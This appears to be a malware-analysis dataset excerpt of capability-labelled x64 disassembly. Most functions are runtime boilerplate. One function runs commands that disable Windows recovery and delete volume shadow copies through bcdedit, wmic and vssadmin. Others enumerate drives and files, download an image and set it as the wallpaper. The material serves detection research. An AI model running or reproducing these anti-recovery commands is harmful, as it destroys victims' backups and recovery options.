joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2fc4d6af0
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x2fc4d74f2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fc108]
test eax, eax
je 0x2fc4d758a
lea rax, [0x2fc4fc0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fc110]
mov qword [rbp - 8], rax
jmp 0x2fc4d756e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d7562
cmp qword [rbp - 0x10], 0
je 0x2fc4d7562
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d7528
lea rax, [0x2fc4fc0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d758b
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d7690
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d76b8
mov eax, 0
jmp 0x2fc4d7706
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d76e1
mov eax, 0
jmp 0x2fc4d7706
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d7701
mov eax, 0
jmp 0x2fc4d7706
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x1400c1f73
Capabilities:
Hash data using fnv

Disassembly:
jmp 0x14011b820
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x18
mov qword [rsp], 0
jmp 0x14011b848
mov rax, qword [rsp]
inc rax
mov qword [rsp], rax
mov rax, qword [rsp + 0x30]
cmp qword [rsp], rax
jae 0x14011b892
mov rax, qword [rsp]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x20]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
movabs rax, 0x100000001b3
mov rcx, qword [rsp + 0x20]
imul rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
jmp 0x14011b83d
mov rax, qword [rsp + 0x20]
add rsp, 0x18
ret
Function at 0x1400c28d3
Capabilities:
Create process on windows
Delete volume shadow copies
Disable automatic windows recovery features

Disassembly:
jmp 0x1400da600
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x238
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0x4a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x258]
mov rax, qword [0x1402ac140]
xor rax, rbp
mov qword [rbp + 0x1d8], rax
lea rcx, [0x1402c9112]
call fcn.1400c67a3
lea rax, str.cmd.exe__c_bcdedit__set_default_recoveryenabled_no
mov qword [rbp + 8], rax
lea rax, str.cmd.exe__c_bcdedit__set_default_bootstatuspolicy_ignoreallfailures
mov qword [rbp + 0x10], rax
lea rax, str.cmd.exe__c_wmic_shadowcopy_delete
mov qword [rbp + 0x18], rax
lea rax, str.cmd.exe__c_vssadmin_delete_shadows__quiet__all
mov qword [rbp + 0x20], rax
lea rax, [rbp + 0x28]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov dword [rbp + 0x44], 0
jmp 0x1400da696
mov eax, dword [rbp + 0x44]
inc eax
mov dword [rbp + 0x44], eax
cmp dword [rbp + 0x44], 5
jge 0x1400da736
mov dword [rbp + 0x70], 0x68
lea rax, [rbp + 0x78]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
movsxd rax, dword [rbp + 0x44]
lea rcx, [rbp + 0xf8]
mov qword [rsp + 0x48], rcx
lea rcx, [rbp + 0x70]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + rax*8 + 8]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xf8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x1400da68e
lea rcx, [rbp - 0x50]
lea rdx, [0x14025bd30]
call fcn.1400c5871
mov rcx, qword [rbp + 0x1d8]
xor rcx, rbp
call fcn.1400c3aad
lea rsp, [rbp + 0x1e8]
pop rdi
pop rbp
ret

Function at 0x1400c2ae5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
jmp 0x1400de7b0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1402c9112]
call fcn.1400c67a3
mov rcx, qword [rbp + 0x108]
call fcn.1400c1843
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0xffffffff
jne 0x1400de7f6
xor al, al
jmp 0x1400de806
mov eax, dword [rbp + 4]
and eax, 0x10
test eax, eax
je 0x1400de804
mov al, 1
jmp 0x1400de806
xor al, al
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x1400c37a1
Capabilities:
Encode data using xor

Disassembly:
jmp 0x1401807e0
mov rax, rcx
neg rcx
test rax, 7
je 0x1401807fd
nop
mov dl, byte [rax]
inc rax
test dl, dl
je 0x140180858
test al, 7
jne 0x1401807f0
movabs r8, 0x7efefefefefefeff
movabs r11, 0x8101010101010100
mov rdx, qword [rax]
mov r9, r8
add rax, 8
add r9, rdx
not rdx
xor rdx, r9
and rdx, r11
je 0x140180811
mov rdx, qword [rax - 8]
test dl, dl
je 0x140180882
test dh, dh
je 0x14018087c
shr rdx, 0x10
test dl, dl
je 0x140180876
test dh, dh
je 0x140180870
shr rdx, 0x10
test dl, dl
je 0x14018086a
test dh, dh
je 0x140180864
shr edx, 0x10
test dl, dl
je 0x14018085e
test dh, dh
jne 0x140180811
lea rax, [rax + rcx - 1]
ret
lea rax, [rax + rcx - 2]
ret
lea rax, [rax + rcx - 3]
ret
lea rax, [rax + rcx - 4]
ret
lea rax, [rax + rcx - 5]
ret
lea rax, [rax + rcx - 6]
ret
lea rax, [rax + rcx - 7]
ret
lea rax, [rax + rcx - 8]
ret

Function at 0x1400c37dd
Capabilities:
Query environment variable

Disassembly:
jmp 0x140227400
sub rsp, 0x78
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x20]
call fcn.140226f80
lea rcx, [rsp + 0x20]
call fcn.140226fd0
movzx eax, al
test eax, eax
jne 0x140227445
mov qword [rsp + 0x40], 0
lea rcx, [rsp + 0x20]
call fcn.140226fb0
mov rax, qword [rsp + 0x40]
jmp 0x14022753f
lea rcx, [rsp + 0x20]
call fcn.1402270d0
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x30]
call fcn.140227070
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x30]
mov rcx, qword [rsp + 0x48]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r9d, 0x40
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, rax
call fcn.1400c3b93
mov rdx, rax
lea rcx, [rsp + 0x28]
call fcn.1400c30bc
lea rcx, [rsp + 0x28]
call fcn.1400c4093
movzx eax, al
test eax, eax
jne 0x1402274df
mov qword [rsp + 0x50], 0
lea rcx, [rsp + 0x28]
call fcn.1400c5623
lea rcx, [rsp + 0x20]
call fcn.140226fb0
mov rax, qword [rsp + 0x50]
jmp 0x14022753f
lea rcx, [rsp + 0x20]
call fcn.1402270d0
mov qword [rsp + 0x58], rax
lea rcx, [rsp + 0x28]
call fcn.1400c6695
mov qword [rsp + 0x60], rax
mov rax, qword [rsp + 0x38]
shl rax, 1
mov r8, rax
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x60]
call fcn.1400c3ad0
lea rcx, [rsp + 0x28]
call fcn.1400c70ae
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x28]
call fcn.1400c5623
lea rcx, [rsp + 0x20]
call fcn.140226fb0
mov rax, qword [rsp + 0x68]
add rsp, 0x78
ret
Function at 0x1400c3977
Capabilities:
Create directory
Download url
Receive data

Disassembly:
jmp 0x1400e2ae0
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x1f8
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x42
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x218]
mov rax, qword [0x1402ac140]
xor rax, rbp
mov qword [rbp + 0x1b8], rax
lea rcx, [0x1402c9112]
call fcn.1400c67a3
mov rcx, qword [rbp + 0x1e0]
call fcn.1400c5a97
lea rdx, str.PutinImage
lea rcx, [rbp + 8]
call fcn.1400c3837
nop
mov rax, qword [rbp + 0x1e0]
add rax, 0x114
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.1400c3837
nop
lea rcx, [rbp + 0x48]
call fcn.1400c6703
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x48]
call fcn.1400c2388
lea rdx, [rbp + 0x48]
mov rcx, qword [rbp + 0x1e0]
call fcn.1400c2ae5
movzx eax, al
test eax, eax
jne 0x1400e2ba1
lea rcx, [rbp + 0x48]
call fcn.1400c1843
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rax, str.https:__wegotthiscovered.com_wp_content_uploads_2022_12_vladimir_putin.jpg
mov qword [rbp + 0x88], rax
lea r8, str._vladimir_putin.jpg
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0xa8]
call fcn.1400c54d4
lea rcx, [rbp + 0xa8]
call fcn.1400c1843
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, rax
mov rdx, qword [rbp + 0x88]
xor ecx, ecx
call fcn.1400c2374
lea rcx, [rbp + 0xa8]
call fcn.1400c1843
mov qword [rbp + 0xe8], rax
mov r9d, 1
mov r8, qword [rbp + 0xe8]
xor edx, edx
mov ecx, 0x14
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
lea rcx, [rbp + 0xa8]
call fcn.1400c2063
nop
lea rcx, [rbp + 0x48]
call fcn.1400c2063
nop
lea rcx, [rbp + 8]
call fcn.1400c2063
lea rcx, [rbp - 0x30]
lea rdx, [0x14025c130]
call fcn.1400c5871
mov rcx, qword [rbp + 0x1b8]
xor rcx, rbp
call fcn.1400c3aad
lea rsp, [rbp + 0x1c8]
pop rdi
pop rbp
ret
Function at 0x1400c3d41
Capabilities:
Get thread local storage value

Disassembly:
jmp 0x1401705b0
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.14016ff30
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1401705ef
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1402ca020]
jmp 0x1401705f9
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
add rsp, 0x48
ret

Function at 0x1400c3fb7
Capabilities:
Query environment variable

Disassembly:
jmp 0x140227150
sub rsp, 0xb8
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdx, rax
lea rcx, [rsp + 0x40]
call fcn.140226f80
lea rcx, [rsp + 0x40]
call fcn.140227100
movzx eax, al
test eax, eax
jne 0x140227198
mov qword [rsp + 0x70], 0
lea rcx, [rsp + 0x40]
call fcn.140226fb0
mov rax, qword [rsp + 0x70]
jmp 0x140227369
lea rcx, [rsp + 0x40]
call fcn.1402270d0
mov qword [rsp + 0x60], rax
mov rcx, qword [rsp + 0x60]
call fcn.140227070
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x78]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x40]
call fcn.1402270d0
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, dword [rsp + 0x68]
mov r8, rax
xor edx, edx
xor ecx, ecx
call fcn.1400c5227
cdqe
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
jne 0x14022723e
mov qword [rsp + 0x80], 0
lea rcx, [rsp + 0x40]
call fcn.140226fb0
mov rax, qword [rsp + 0x80]
jmp 0x140227369
mov r9d, 0x66
lea r8, str.minkernelcrtsucrt_srcdesktopcrtenvget_environment_from_os.cpp
mov edx, 2
mov rcx, qword [rsp + 0x58]
call fcn.1400c3b93
mov rdx, rax
lea rcx, [rsp + 0x48]
call fcn.1400c3968
lea rcx, [rsp + 0x48]
call fcn.1400c3319
movzx eax, al
test eax, eax
jne 0x1402272a5
mov qword [rsp + 0x88], 0
lea rcx, [rsp + 0x48]
call fcn.1400c1de3
lea rcx, [rsp + 0x40]
call fcn.140226fb0
mov rax, qword [rsp + 0x88]
jmp 0x140227369
lea rcx, [rsp + 0x48]
call fcn.1400c44df
mov qword [rsp + 0x90], rax
lea rcx, [rsp + 0x40]
call fcn.1402270d0
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x20], rax
mov r9d, dword [rsp + 0x68]
mov r8, qword [rsp + 0x98]
xor edx, edx
xor ecx, ecx
call fcn.1400c5227
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0
jne 0x14022733b
mov qword [rsp + 0xa0], 0
lea rcx, [rsp + 0x48]
call fcn.1400c1de3
lea rcx, [rsp + 0x40]
call fcn.140226fb0
mov rax, qword [rsp + 0xa0]
jmp 0x140227369
lea rcx, [rsp + 0x48]
call fcn.1400c3918
mov qword [rsp + 0xa8], rax
lea rcx, [rsp + 0x48]
call fcn.1400c1de3
lea rcx, [rsp + 0x40]
call fcn.140226fb0
mov rax, qword [rsp + 0xa8]
add rsp, 0xb8
ret
Function at 0x1400c3fd0
Capabilities:
Allocate thread local storage

Disassembly:
jmp 0x1401704e0
mov qword [rsp + 8], rcx
sub rsp, 0x48
call fcn.14016feb0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x140170521
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1402ca020]
jmp 0x140170527
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
add rsp, 0x48
ret

Function at 0x1400c409d
Capabilities:
Get geographical location

Disassembly:
jmp 0x1402044c0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
sub rsp, 0x58
call fcn.1402033f0
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
je 0x140204527
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x40], rax
movabs r10, 0xe375262d7cd44270
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x40]
call qword [0x1402ca030]
jmp 0x140204549
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.1400c326a
mov r9d, dword [rsp + 0x78]
mov r8, qword [rsp + 0x70]
mov edx, dword [rsp + 0x68]
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
add rsp, 0x58
ret

Function at 0x1400c40b1
Capabilities:
Terminate process

Disassembly:
jmp 0x14014d0b0
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400c4471
Capabilities:
Print debug messages

Disassembly:
jmp 0x1402345d0
mov qword [rsp + 8], rcx
push rbp
sub rsp, 0x50
lea rbp, [rsp + 0x30]
mov rax, qword [0x1402ac140]
xor rax, rbp
mov qword [rbp + 0x18], rax
cmp qword [rbp + 0x30], 0
jne 0x1402345f6
jmp 0x140234673
mov rcx, qword [rbp + 0x30]
call fcn.1400c37a1
inc rax
mov qword [rbp], rax
cmp qword [rbp], 0
jne 0x14023460f
jmp 0x140234673
mov rax, qword [rbp]
shl rax, 1
mov rcx, rax
add rcx, 0xf
cmp rcx, rax
ja 0x14023462c
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.1400c201d
sub rsp, rax
lea rax, [rsp + 0x30]
mov qword [rbp + 8], rax
mov rax, qword [rbp]
dec rax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x30]
mov r8, qword [rbp]
mov rdx, qword [rbp + 8]
lea rcx, [rbp + 0x10]
call fcn.1400c267b
test eax, eax
jne 0x140234673
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, qword [rbp + 0x18]
xor rcx, rbp
call fcn.1400c3aad
lea rsp, [rbp + 0x20]
pop rbp
ret

Function at 0x1400c48d6
Capabilities:
Set environment variable

Disassembly:
jmp 0x1402292b0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x38]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
add rsp, 0x28
ret

Function at 0x1400c4aac
Capabilities:
Check internet connectivity via wininet

Disassembly:
jmp 0x1400e3840
push rbp
push rdi
sub rsp, 0x538
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0xe6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1402ac140]
xor rax, rbp
mov qword [rbp + 0x508], rax
lea rcx, [0x1402c9112]
call fcn.1400c67a3
lea rdx, str.https:__stackoverflow.com_
lea rcx, [rbp + 0x10]
call fcn.1400c4039
xor r8d, r8d
mov edx, 1
lea rcx, [rbp + 0x10]
call qword [sym.imp.WININET.dll_InternetCheckConnectionA]
mov dword [rbp + 0xa4], eax
cmp dword [rbp + 0xa4], 0
jne 0x1400e38d4
mov r9d, 0x10
lea r8, str.No_Connection
lea rdx, str.Please_run_this_program_again__when_you_have_stable_connection.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov eax, 1
jmp 0x1400e3995
mov edx, 0x218
lea rcx, [rbp + 0xd0]
call fcn.1400c669f
lea rcx, [rbp + 0xd0]
call fcn.1400c39c7
lea rcx, [rbp + 0xd0]
call fcn.1400c6d84
cmp eax, 1
jne 0x1400e3909
xor eax, eax
jmp 0x1400e3995
lea rcx, [rbp + 0xd0]
call fcn.1400c66b8
lea rax, [rbp + 0xd0]
mov qword [rbp + 0x4b8], rax
lea rax, [0x1400c5fbf]
mov qword [rbp + 0x4d8], rax
lea r8, [rbp + 0x4b8]
lea rdx, [rbp + 0x4d8]
lea rcx, [rbp + 0x308]
call fcn.1400c50d8
nop
lea rcx, [rbp + 0x308]
call fcn.1400c6cdf
lea rcx, [rbp + 0xd0]
call fcn.1400c3977
lea rcx, [rbp + 0xd0]
call fcn.1400c2ec8
xor eax, eax
cmp eax, 1
je 0x1400e3979
jmp 0x1400e3970
mov dword [rbp + 0x4f4], 0
lea rcx, [rbp + 0x308]
call fcn.1400c3800
mov eax, dword [rbp + 0x4f4]
mov rdi, rax
lea rcx, [rbp - 0x20]
lea rdx, [0x14025cc70]
call fcn.1400c5871
mov rax, rdi
mov rcx, qword [rbp + 0x508]
xor rcx, rbp
call fcn.1400c3aad
lea rsp, [rbp + 0x518]
pop rdi
pop rbp
ret
Function at 0x1400c4c46
Capabilities:
Parse pe header

Disassembly:
jmp 0x14014ea90
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14014eab0
xor al, al
jmp 0x14014eb31
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14014eac3
xor al, al
jmp 0x14014eb31
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x14014eaed
xor al, al
jmp 0x14014eb31
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x14014eb01
xor al, al
jmp 0x14014eb31
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x14014eb13
xor al, al
jmp 0x14014eb31
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14014eb2f
xor al, al
jmp 0x14014eb31
mov al, 1
add rsp, 0x38
ret
Function at 0x1400c550b
Capabilities:
Terminate process

Disassembly:
jmp 0x1401718a0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x1401718ce
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.1400c6154
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret
Function at 0x1400c5a97
Capabilities:
Get disk information

Disassembly:
jmp 0x1400dfa70
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x108
lea rbp, [rsp + 0x20]
lea rcx, [0x1402c9112]
call fcn.1400c67a3
mov rax, qword [rbp + 0x100]
add rax, 0x10
mov rdx, rax
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsA]
mov rcx, qword [rbp + 0x100]
mov dword [rcx + 0xc], eax
mov rax, qword [rbp + 0x100]
cmp dword [rax + 0xc], 0
jbe 0x1400dfb4b
mov rax, qword [rbp + 0x100]
cmp dword [rax + 0xc], 0x104
ja 0x1400dfb4b
mov rax, qword [rbp + 0x100]
add rax, 0x10
mov qword [rbp + 8], rax
mov rax, qword [rbp + 8]
movsx eax, byte [rax]
test eax, eax
je 0x1400dfb4b
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x1400dfb33
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x100]
movsx eax, byte [rcx + rax + 0x114]
test eax, eax
jne 0x1400dfb33
mov rax, qword [rbp + 0x100]
add rax, 0x114
mov rdx, qword [rbp + 8]
mov rcx, rax
call fcn.1400c2cf2
jmp 0x1400dfb4b
mov rcx, qword [rbp + 8]
call fcn.1400c37a1
mov rcx, qword [rbp + 8]
lea rax, [rcx + rax + 1]
mov qword [rbp + 8], rax
jmp 0x1400dfae2
lea rsp, [rbp + 0xe8]
pop rdi
pop rbp
ret
Function at 0x1400c5f2e
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
jmp 0x1400da7c0
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rdi
sub rsp, 0x3f8
lea rbp, [rsp + 0x20]
lea rdi, [rsp + 0x20]
mov ecx, 0x96
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x418]
mov rax, qword [0x1402ac140]
xor rax, rbp
mov qword [rbp + 0x3c8], rax
lea rcx, [0x1402c9112]
call fcn.1400c67a3
mov qword [rbp + 0x168], 0xffffffffffffffff
lea r8, [0x14025dd14]
mov rdx, qword [rbp + 0x3f8]
lea rcx, [rbp + 0x188]
call fcn.1400c54d4
nop
lea rcx, [rbp + 0x188]
call fcn.1400c1843
lea rdx, [rbp + 0x10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov qword [rbp + 0x168], rax
cmp qword [rbp + 0x168], 0xffffffffffffffff
jne 0x1400da8ac
lea rdx, str.FindFirstFile_failed_for
lea rcx, [0x1402af230]
call fcn.1400c19a6
mov rdx, qword [rbp + 0x3f8]
mov rcx, rax
call fcn.1400c5d53
mov qword [rbp + 0x3b8], rax
lea rdx, [0x1400c1361]
mov rcx, qword [rbp + 0x3b8]
call fcn.1400c3d0f
nop
lea rcx, [rbp + 0x188]
call fcn.1400c2063
jmp 0x1400daa06
lea rdx, [0x14025dd38]
lea rcx, [rbp + 0x3c]
call fcn.1400c70b8
test eax, eax
je 0x1400da9d3
lea rdx, [0x14025dd3c]
lea rcx, [rbp + 0x3c]
call fcn.1400c70b8
test eax, eax
je 0x1400da9d3
lea r8, [0x14025dd40]
mov rdx, qword [rbp + 0x3f8]
lea rcx, [rbp + 0x388]
call fcn.1400c54d4
mov qword [rbp + 0x3b8], rax
mov rax, qword [rbp + 0x3b8]
mov qword [rbp + 0x3c0], rax
lea r8, [rbp + 0x3c]
mov rdx, qword [rbp + 0x3c0]
lea rcx, [rbp + 0x1c8]
call fcn.1400c5ff1
nop
lea rcx, [rbp + 0x388]
call fcn.1400c2063
mov eax, dword [rbp + 0x10]
and eax, 0x10
test eax, eax
je 0x1400da98a
lea rdx, str.Directory:
lea rcx, [0x1402af0e0]
call fcn.1400c19a6
lea rdx, [rbp + 0x1c8]
mov rcx, rax
call fcn.1400c5d53
mov qword [rbp + 0x3b8], rax
lea rdx, [0x1400c1361]
mov rcx, qword [rbp + 0x3b8]
call fcn.1400c3d0f
lea rdx, [rbp + 0x1c8]
mov rcx, qword [rbp + 0x3f0]
call fcn.1400c5f2e
jmp 0x1400da9c7
lea rdx, str.File:
lea rcx, [0x1402af0e0]
call fcn.1400c19a6
lea rdx, [rbp + 0x1c8]
mov rcx, rax
call fcn.1400c5d53
mov qword [rbp + 0x3b8], rax
lea rdx, [0x1400c1361]
mov rcx, qword [rbp + 0x3b8]
call fcn.1400c3d0f
nop
lea rcx, [rbp + 0x1c8]
call fcn.1400c2063
lea rdx, [rbp + 0x10]
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x1400da8ac
mov rcx, qword [rbp + 0x168]
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
lea rcx, [rbp + 0x188]
call fcn.1400c2063
lea rcx, [rbp - 0x20]
lea rdx, [0x14025be60]
call fcn.1400c5871
mov rcx, qword [rbp + 0x3c8]
xor rcx, rbp
call fcn.1400c3aad
lea rsp, [rbp + 0x3d8]
pop rdi
pop rbp
ret
Function at 0x1400c61d6
Capabilities:
Print debug messages

Disassembly:
jmp 0x140201b10
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
